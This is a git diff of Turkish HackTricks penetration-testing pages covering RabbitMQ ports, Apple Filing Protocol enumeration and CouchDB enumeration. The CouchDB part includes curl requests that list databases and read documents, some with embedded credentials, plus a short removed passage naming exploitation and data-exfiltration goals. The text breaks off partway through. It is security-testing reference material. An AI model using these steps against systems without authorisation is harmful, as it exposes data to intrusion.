||||
* **1883, 8883**: ([MQTT istemcileri](http://mqtt.org) TLS olmadan ve TLS ile, eğer [MQTT eklentisi](https://www.rabbitmq.com/mqtt.html) etkinse. [**MQTT'yi nasıl pentest edeceğinizi burada öğrenin**](1883-pentesting-mqtt-mosquitto.md).
|
||||
* **4369: epmd**, RabbitMQ düğümleri ve CLI araçları tarafından kullanılan bir eş keşif hizmeti. [**Bu hizmeti nasıl pentest edeceğinizi burada öğrenin**](4369-pentesting-erlang-port-mapper-daemon-epmd.md).
|
||||
* **5672, 5671**: TLS olmadan ve TLS ile AMQP 0-9-1 ve 1.0 istemcileri tarafından kullanılır.
|
||||
* **15672**: [HTTP API](https://www.rabbitmq.com/management.html) istemcileri, [yönetim UI](https://www.rabbitmq.com/management.html) ve [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (yalnızca [yönetim eklentisi](https://www.rabbitmq.com/management.html) etkinse). [**Bu hizmeti nasıl pentest edeceğinizi burada öğrenin**](15672-pentesting-rabbitmq-management.md).
|
||||
* 15674: STOMP-over-WebSockets istemcileri (yalnızca [Web STOMP eklentisi](https://www.rabbitmq.com/web-stomp.html) etkinse)
|
||||
* 15675: MQTT-over-WebSockets istemcileri (yalnızca [Web MQTT eklentisi](https://www.rabbitmq.com/web-mqtt.html) etkinse)
|
||||
* 15692: Prometheus metrikleri (yalnızca [Prometheus eklentisi](https://www.rabbitmq.com/prometheus.html) etkinse)
|
||||
* 25672: düğümler arası ve CLI araçları iletişimi için kullanılır (Erlang dağıtım sunucusu portu) ve dinamik bir aralıktan tahsis edilir (varsayılan olarak tek bir port ile sınırlıdır, AMQP portu + 20000 olarak hesaplanır). Bu portlarda dış bağlantılar gerçekten gerekli değilse (örneğin, küme [federasyon](https://www.rabbitmq.com/federation.html) kullanıyorsa veya CLI araçları alt ağın dışındaki makinelerde kullanılıyorsa), bu portlar kamuya açık olarak açılmamalıdır. Ayrıntılar için [ağ kılavuzuna](https://www.rabbitmq.com/networking.html) bakın. **Bu portlardan yalnızca 9'u internette açıktır**.
|
||||
* 35672-35682: düğümlerle iletişim için CLI araçları (Erlang dağıtım istemci portları) tarafından kullanılır ve dinamik bir aralıktan tahsis edilir (sunucu dağıtım portu + 10000 ile sunucu dağıtım portu + 10010 arasında hesaplanır). Ayrıntılar için [ağ kılavuzuna](https://www.rabbitmq.com/networking.html) bakın.
|
||||
* 61613, 61614: [STOMP istemcileri](https://stomp.github.io/stomp-specification-1.2.html) TLS olmadan ve TLS ile (yalnızca [STOMP eklentisi](https://www.rabbitmq.com/stomp.html) etkinse). Bu port açık olan 10'dan az cihaz ve çoğunlukla DHT düğümleri için UDP.
|
||||
|
||||
## Shodan
|
||||
|
||||
* `AMQP`
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,55 +1,57 @@
|
|||
# 548 - Apple Filing Protocol (AFP) Pentesting
|
||||
# 548 - Pentesting Apple Filing Protocol (AFP)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
**Apple Filing Protocol** (**AFP**), eskiden AppleTalk Filing Protocol olarak bilinen, **Apple File Service** (**AFS**) içinde yer alan özel bir ağ protokolüdür. macOS ve klasik Mac OS için dosya hizmetleri sağlamak üzere tasarlanmıştır. AFP, Unicode dosya adlarını, POSIX ve erişim kontrol listesi izinlerini, kaynak çatallarını, adlandırılmış genişletilmiş öznitelikleri ve sofistike dosya kilitleme mekanizmalarını desteklemesiyle öne çıkar. Mac OS 9 ve daha eski sürümlerde dosya hizmetleri için ana protokoldü.
|
||||
**Apple Filing Protocol** (**AFP**), bir zamanlar AppleTalk Filing Protocol olarak bilinen, **Apple File Service** (**AFS**) içinde yer alan özel bir ağ protokolüdür. macOS ve klasik Mac OS için dosya hizmetleri sağlamak üzere tasarlanmıştır. AFP, Unicode dosya adları, POSIX ve erişim kontrol listesi izinleri, kaynak fork'ları, adlandırılmış genişletilmiş öznitelikler ve karmaşık dosya kilitleme mekanizmalarını desteklemesiyle öne çıkar. Mac OS 9 ve önceki sürümlerde dosya hizmetleri için ana protokoldü.
|
||||
|
||||
**Varsayılan Port:** 548
|
||||
```bash
|
||||
PORT STATE SERVICE
|
||||
548/tcp open afp
|
||||
```
|
||||
### **Numaralandırma**
|
||||
### **Enumeration**
|
||||
|
||||
AFP hizmetlerinin numaralandırılması için aşağıdaki komutlar ve betikler kullanışlıdır:
|
||||
AFP hizmetlerinin enumerasyonu için aşağıdaki komutlar ve betikler faydalıdır:
|
||||
```bash
|
||||
msf> use auxiliary/scanner/afp/afp_server_info
|
||||
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
|
||||
```
|
||||
**Komut Dosyaları ve Açıklamaları:**
|
||||
**Scriptler ve Açıklamaları:**
|
||||
|
||||
- **afp-ls**: Bu komut dosyası mevcut AFP birimlerini ve dosyaları listelemek için kullanılır.
|
||||
- **afp-path-vuln**: Potansiyel zafiyetleri vurgulayarak tüm AFP birimlerini ve dosyalarını listeler.
|
||||
- **afp-serverinfo**: AFP sunucusu hakkında detaylı bilgi sağlar.
|
||||
- **afp-ls**: Bu script, mevcut AFP hacimlerini ve dosyalarını listelemek için kullanılır.
|
||||
- **afp-path-vuln**: Tüm AFP hacimlerini ve dosyalarını listeleyerek potansiyel zayıflıkları vurgular.
|
||||
- **afp-serverinfo**: AFP sunucusu hakkında ayrıntılı bilgi sağlar.
|
||||
- **afp-showmount**: Mevcut AFP paylaşımlarını ve bunların ilgili ACL'lerini listeler.
|
||||
|
||||
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#afp)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,136 +1,91 @@
|
|||
# 5984,6984 - CouchDB Pentesting
|
||||
# 5984,6984 - Pentesting CouchDB
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Temel Bilgiler**
|
||||
|
||||
**CouchDB**, her bir **belge** içinde bir **anahtar-değer haritası** yapısı kullanarak verileri düzenleyen çok yönlü ve güçlü bir **belge odaklı veritabanıdır**. Belge içindeki alanlar **anahtar/değer çiftleri, listeler veya haritalar** olarak temsil edilebilir, bu da veri depolama ve alımında esneklik sağlar.
|
||||
**CouchDB**, verileri her **belge** içinde bir **anahtar-değer haritası** yapısı kullanarak organize eden çok yönlü ve güçlü bir **belge odaklı veritabanıdır**. Belge içindeki alanlar, veri depolama ve alma esnekliği sağlayarak **anahtar/değer çiftleri, listeler veya haritalar** olarak temsil edilebilir.
|
||||
|
||||
CouchDB'de depolanan her **belge**, belge düzeyinde benzersiz bir tanımlayıcı (`_id`) atanır. Ayrıca, veritabanına yapılan her değişiklik kaydedildiğinde bir **revizyon numarası** (`_rev`) atanır. Bu revizyon numarası, değişikliklerin etkin bir şekilde **izlenmesine ve yönetilmesine** olanak tanır, veritabanı içindeki verilerin kolay alımını ve senkronizasyonunu sağlar.
|
||||
CouchDB'de depolanan her **belge**, belge düzeyinde bir **benzersiz tanımlayıcı** (`_id`) ile atanır. Ayrıca, veritabanına yapılan ve kaydedilen her değişiklik, bir **revizyon numarası** (`_rev`) ile atanır. Bu revizyon numarası, değişikliklerin verimli bir şekilde **izlenmesi ve yönetilmesi** için olanak tanır ve veritabanı içindeki verilerin kolayca alınmasını ve senkronizasyonunu kolaylaştırır.
|
||||
|
||||
**Varsayılan port:** 5984(http), 6984(https)
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
5984/tcp open unknown syn-ack
|
||||
```
|
||||
## **Otomatik Numaralandırma**
|
||||
|
||||
Automatic enumeration is the process of gathering information about a target system or network without manual intervention. It involves using tools and scripts to automatically scan and enumerate various aspects of the target, such as open ports, running services, and available databases.
|
||||
|
||||
Otomatik numaralandırma, manuel müdahale olmadan hedef sistem veya ağ hakkında bilgi toplama sürecidir. Bu, açık portlar, çalışan servisler ve mevcut veritabanları gibi hedefin çeşitli yönlerini otomatik olarak taramak ve numaralandırmak için araçlar ve komut dosyaları kullanmayı içerir.
|
||||
|
||||
### **CouchDB Enumeration**
|
||||
|
||||
CouchDB is a NoSQL database that stores data in JSON format. During a penetration test, it is important to enumerate CouchDB instances to identify potential vulnerabilities and misconfigurations.
|
||||
|
||||
CouchDB, verileri JSON formatında depolayan bir NoSQL veritabanıdır. Bir penetrasyon testi sırasında, potansiyel zayıflıkları ve yanlış yapılandırmaları belirlemek için CouchDB örneklerini numaralandırmak önemlidir.
|
||||
|
||||
#### **1. Nmap CouchDB Script**
|
||||
|
||||
Nmap is a powerful network scanning tool that can be used to enumerate CouchDB instances. The `couchdb` NSE script can be used to identify CouchDB instances and gather information about them.
|
||||
|
||||
Nmap, CouchDB örneklerini numaralandırmak için kullanılabilecek güçlü bir ağ tarama aracıdır. `couchdb` NSE komut dosyası, CouchDB örneklerini tanımlamak ve hakkında bilgi toplamak için kullanılabilir.
|
||||
|
||||
```bash
|
||||
nmap -p 5984 --script couchdb <target>
|
||||
```
|
||||
|
||||
#### **2. Manual Enumeration**
|
||||
|
||||
In addition to using automated tools, manual enumeration techniques can also be used to gather information about CouchDB instances. Some techniques include:
|
||||
|
||||
- **Web Interface**: Accessing the CouchDB web interface and exploring the available databases and documents.
|
||||
- **HTTP Requests**: Sending HTTP requests to the CouchDB API to retrieve information about the databases, documents, and server configuration.
|
||||
- **Authentication**: Attempting to authenticate to the CouchDB instance using default or weak credentials.
|
||||
|
||||
#### **3. Exploitation**
|
||||
|
||||
Once vulnerabilities or misconfigurations are identified during the enumeration phase, they can be further exploited to gain unauthorized access or perform other malicious activities. Some common exploitation techniques for CouchDB include:
|
||||
|
||||
- **Remote Code Execution**: Exploiting vulnerabilities in CouchDB to execute arbitrary code on the server.
|
||||
- **Privilege Escalation**: Leveraging misconfigurations or vulnerabilities to escalate privileges and gain administrative access to the CouchDB instance.
|
||||
- **Data Exfiltration**: Extracting sensitive data from the CouchDB instance, such as user credentials or confidential documents.
|
||||
|
||||
It is important to note that exploitation should only be performed with proper authorization and in a controlled environment. Unauthorized exploitation of systems or networks is illegal and unethical.
|
||||
## **Otomatik Sayım**
|
||||
```bash
|
||||
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/couchdb/couchdb_enum
|
||||
```
|
||||
#### Banner
|
||||
## Manuel Sayım
|
||||
|
||||
CouchDB, bir NoSQL veritabanıdır. Bir HTTP sunucusu olarak çalışır ve istemcilerle JSON belgeleri üzerinden iletişim kurar. CouchDB'nin banner'ı, sunucunun sürüm numarasını ve diğer bilgileri içerir. Banner bilgileri, hedef sistem hakkında önemli ipuçları sağlayabilir.
|
||||
|
||||
Banner bilgisini elde etmek için aşağıdaki komutu kullanabilirsiniz:
|
||||
|
||||
```bash
|
||||
curl -X GET http://<hedef_IP>:<hedef_port>/
|
||||
```
|
||||
|
||||
Bu komutu çalıştırdığınızda, CouchDB sunucusunun banner bilgilerini alacaksınız. Bu bilgiler, hedef sistem hakkında daha fazla bilgi edinmenize yardımcı olabilir.
|
||||
### Afiş
|
||||
```
|
||||
curl http://IP:5984/
|
||||
```
|
||||
Bu, kurulu CouchDB örneğine bir GET isteği gönderir. Yanıt aşağıdaki gibi görünmelidir:
|
||||
Bu, kurulu CouchDB örneğine bir GET isteği gönderir. Yanıt aşağıdakilerden biri gibi görünmelidir:
|
||||
```bash
|
||||
{"couchdb":"Welcome","version":"0.10.1"}
|
||||
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Couchdb'nin köküne erişmeye çalıştığınızda, `401 Unauthorized` hatası alırsınız ve şöyle bir mesaj görürsünüz: `{"error":"unauthorized","reason":"Authentication required."}` Bu durumda banner veya diğer herhangi bir uç noktaya erişemezsiniz.
|
||||
CouchDB'nin köküne erişirken `401 Unauthorized` alıyorsanız ve bu gibi bir mesaj görüyorsanız: `{"error":"unauthorized","reason":"Authentication required."}` **banner'a veya başka bir uç noktaya erişemezsiniz**.
|
||||
{% endhint %}
|
||||
|
||||
### Bilgi Sorgulama
|
||||
### Bilgi Sayımı
|
||||
|
||||
Aşağıdaki uç noktalara **GET** isteği ile erişebilir ve ilginç bilgiler çıkarabilirsiniz. Couchdb belgelerinde [**daha fazla uç nokta ve daha detaylı açıklamaları bulabilirsiniz**](https://docs.couchdb.org/en/latest/api/index.html).
|
||||
Bu, **GET** isteği ile erişebileceğiniz ve bazı ilginç bilgileri çıkarabileceğiniz uç noktalarıdır. [**Daha fazla uç nokta ve daha ayrıntılı açıklamalar için couchdb belgelerine**](https://docs.couchdb.org/en/latest/api/index.html) bakabilirsiniz.
|
||||
|
||||
* **`/_active_tasks`** Çalışan görevlerin listesi, görev türü, adı, durumu ve işlem kimliği dahil.
|
||||
* **`/_all_dbs`** CouchDB örneğindeki tüm veritabanlarının bir listesini döndürür.
|
||||
* **`/_cluster_setup`** Düğümün veya kümenin durumunu, küme kurulum sihirbazına göre döndürür.
|
||||
* **`/_db_updates`** CouchDB örneğindeki tüm veritabanı etkinliklerinin bir listesini döndürür. Bu uç noktayı kullanmak için `_global_changes` veritabanının var olması gerekmektedir.
|
||||
* **`/_membership`** Kümenin bir parçası olan düğümleri `cluster_nodes` olarak görüntüler. `all_nodes` alanı, bu düğümün bildiği tüm düğümleri, kümenin bir parçası olanları da içeren şekilde görüntüler.
|
||||
* **`/_scheduler/jobs`** Çoğaltma işlerinin listesi. Her iş açıklaması kaynak ve hedef bilgilerini, çoğaltma kimliğini, son olay geçmişini ve diğer birkaç şeyi içerir.
|
||||
* **`/_scheduler/docs`** Çoğaltma belge durumlarının listesi. Tamamlanan ve başarısız durumlar dahil olmak üzere tüm belgeler hakkında bilgi içerir. Her belge için belge kimliği, veritabanı, çoğaltma kimliği, kaynak ve hedef ile diğer bilgileri döndürür.
|
||||
* **`/_all_dbs`** CouchDB örneğindeki tüm veritabanlarının listesini döndürür.
|
||||
* **`/_cluster_setup`** Küme kurulum sihirbazına göre düğüm veya kümenin durumunu döndürür.
|
||||
* **`/_db_updates`** CouchDB örneğindeki tüm veritabanı olaylarının listesini döndürür. Bu uç noktayı kullanmak için `_global_changes` veritabanının varlığı gereklidir.
|
||||
* **`/_membership`** Kümenin bir parçası olan düğümleri `cluster_nodes` olarak görüntüler. `all_nodes` alanı, bu düğümün bildiği tüm düğümleri, kümenin bir parçası olanlar da dahil olmak üzere gösterir.
|
||||
* **`/_scheduler/jobs`** Çoğaltma işlerinin listesi. Her iş tanımı, kaynak ve hedef bilgilerini, çoğaltma kimliğini, son olayların geçmişini ve birkaç diğer şeyi içerecektir.
|
||||
* **`/_scheduler/docs`** Çoğaltma belge durumlarının listesi. `tamamlandı` ve `başarısız` durumlar dahil olmak üzere tüm belgeler hakkında bilgi içerir. Her belge için belge kimliğini, veritabanını, çoğaltma kimliğini, kaynak ve hedefi ve diğer bilgileri döndürür.
|
||||
* **`/_scheduler/docs/{replicator_db}`**
|
||||
* **`/_scheduler/docs/{replicator_db}/{docid}`**
|
||||
* **`/_node/{node-name}`** `/_node/{node-name}` uç noktası, isteği işleyen sunucunun Erlang düğüm adını doğrulamak için kullanılabilir. Bu bilgiyi almak için `/_node/_local`'e erişirken en faydalıdır.
|
||||
* **`/_node/{node-name}/_stats`** `_stats` kaynağı, çalışan sunucunun istatistiklerini içeren bir JSON nesnesi döndürür. Metin dizesi `_local`, yerel düğüm adı için bir takma ad olarak hizmet eder, bu nedenle tüm istatistikler URL'leri için `{node-name}` yerine `_local` kullanılabilir, yerel düğümün istatistikleriyle etkileşimde bulunmak için.
|
||||
* **`/_node/{node-name}/_system`** \_system kaynağı, çalışan sunucunun çeşitli sistem düzeyi istatistiklerini içeren bir JSON nesnesi döndürür\_.\_ Geçerli düğem bilgisini almak için {node-name} olarak \_\_`_local` kullanabilirsiniz.
|
||||
* **`/_node/{node-name}`** `/_node/{node-name}` uç noktası, isteği işleyen sunucunun Erlang düğüm adını doğrulamak için kullanılabilir. Bu, `/_node/_local` erişirken bu bilgiyi almak için en faydalıdır.
|
||||
* **`/_node/{node-name}/_stats`** `_stats` kaynağı, çalışan sunucu için istatistikleri içeren bir JSON nesnesi döndürür. `_local` kelimesi, yerel düğüm adı için bir takma ad olarak hizmet eder, bu nedenle tüm istatistik URL'lerinde `{node-name}` `_local` ile değiştirilebilir, yerel düğümün istatistikleri ile etkileşimde bulunmak için.
|
||||
* **`/_node/{node-name}/_system`** `_system` kaynağı, çalışan sunucu için çeşitli sistem düzeyindeki istatistikleri içeren bir JSON nesnesi döndürür. Mevcut düğüm bilgilerini almak için `{node-name}` olarak `_local` kullanabilirsiniz.
|
||||
* **`/_node/{node-name}/_restart`**
|
||||
* **`/_up`** Sunucunun çalıştığını, çalıştığını ve isteklere yanıt vermeye hazır olduğunu doğrular. [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) `true` veya `nolb` ise, uç nokta 404 yanıtı döndürür.
|
||||
* **`/_uuids`** CouchDB örneğinden bir veya daha fazla Evrensel Benzersiz Kimlik (UUID) isteği yapar.
|
||||
* **`/_reshard`** Kümedeki tamamlanan, başarısız, çalışan, durdurulan ve toplam iş sayısını ve yeniden paylaşım durumunu döndürür.
|
||||
* **`/_up`** Sunucunun çalıştığını, çalıştığını ve isteklere yanıt vermeye hazır olduğunu doğrular. Eğer [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) `true` veya `nolb` ise, uç nokta 404 yanıtı döndürecektir.
|
||||
* **`/_uuids`** CouchDB örneğinden bir veya daha fazla Evrensel Benzersiz Tanımlayıcı (UUID) talep eder.
|
||||
* **`/_reshard`** Tamamlanan, başarısız, çalışan, durdurulan ve toplam işlerin sayısını ve kümedeki yeniden parçalama durumunu döndürür.
|
||||
|
||||
Daha fazla ilginç bilgi burada açıklandığı gibi çıkarılabilir: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
||||
Daha ilginç bilgiler burada açıklandığı gibi çıkarılabilir: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
||||
|
||||
### **Veritabanı Listesi**
|
||||
```
|
||||
curl -X GET http://IP:5984/_all_dbs
|
||||
```
|
||||
Eğer bu istek **401 yetkisiz** şeklinde yanıt verirse, veritabanına erişmek için **geçerli kimlik bilgilerine** ihtiyacınız vardır:
|
||||
Eğer bu istek **401 yetkisiz** ile yanıt veriyorsa, veritabanına erişmek için **geçerli kimlik bilgilerine** ihtiyacınız var:
|
||||
```
|
||||
curl -X GET http://user:password@IP:5984/_all_dbs
|
||||
```
|
||||
Geçerli Kimlik Bilgilerini bulmak için **hizmeti** [**brute force**](../generic-methodologies-and-resources/brute-force.md#couchdb) ile deneyebilirsiniz.
|
||||
Geçerli Kimlik Bilgilerini bulmak için **şunu deneyebilirsiniz**: [**hizmeti bruteforce etmek**](../generic-methodologies-and-resources/brute-force.md#couchdb).
|
||||
|
||||
Bu, yeterli ayrıcalıklara sahip olduğunuzda bir couchdb **yanıtının** bir **örneğidir** (Sadece bir veritabanı listesidir):
|
||||
Bu, **yeterli ayrıcalıklara** sahip olduğunuzda bir couchdb **yanıtının** **örneğidir** (Bu sadece bir db listesi):
|
||||
```bash
|
||||
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
|
||||
```
|
||||
### Veritabanı Bilgisi
|
||||
### Database Info
|
||||
|
||||
Veritabanı adına erişerek bazı veritabanı bilgilerini (dosya sayısı ve boyutları gibi) elde edebilirsiniz:
|
||||
Veritabanı adını erişerek bazı veritabanı bilgilerini (dosya sayısı ve boyutları gibi) alabilirsiniz:
|
||||
```bash
|
||||
curl http://IP:5984/<database>
|
||||
curl http://localhost:5984/simpsons
|
||||
|
@ -139,7 +94,7 @@ curl http://localhost:5984/simpsons
|
|||
```
|
||||
### **Belge Listesi**
|
||||
|
||||
Bir veritabanındaki her girişi listele
|
||||
Veritabanındaki her bir girişi listele
|
||||
```bash
|
||||
curl -X GET http://IP:5984/{dbname}/_all_docs
|
||||
curl http://localhost:5984/simpsons/_all_docs
|
||||
|
@ -156,7 +111,7 @@ curl http://localhost:5984/simpsons/_all_docs
|
|||
```
|
||||
### **Belgeyi Oku**
|
||||
|
||||
Bir veritabanındaki belgenin içeriğini okuyun:
|
||||
